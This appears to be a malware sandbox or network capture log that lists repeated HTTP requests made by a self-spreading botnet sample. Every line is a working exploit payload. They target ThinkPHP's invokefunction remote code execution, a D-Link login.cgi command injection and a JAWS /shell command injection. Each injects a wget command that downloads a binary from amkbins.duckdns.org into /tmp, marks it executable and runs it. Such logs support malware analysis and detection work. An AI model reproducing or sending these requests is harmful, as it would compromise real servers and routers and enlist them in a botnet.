Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
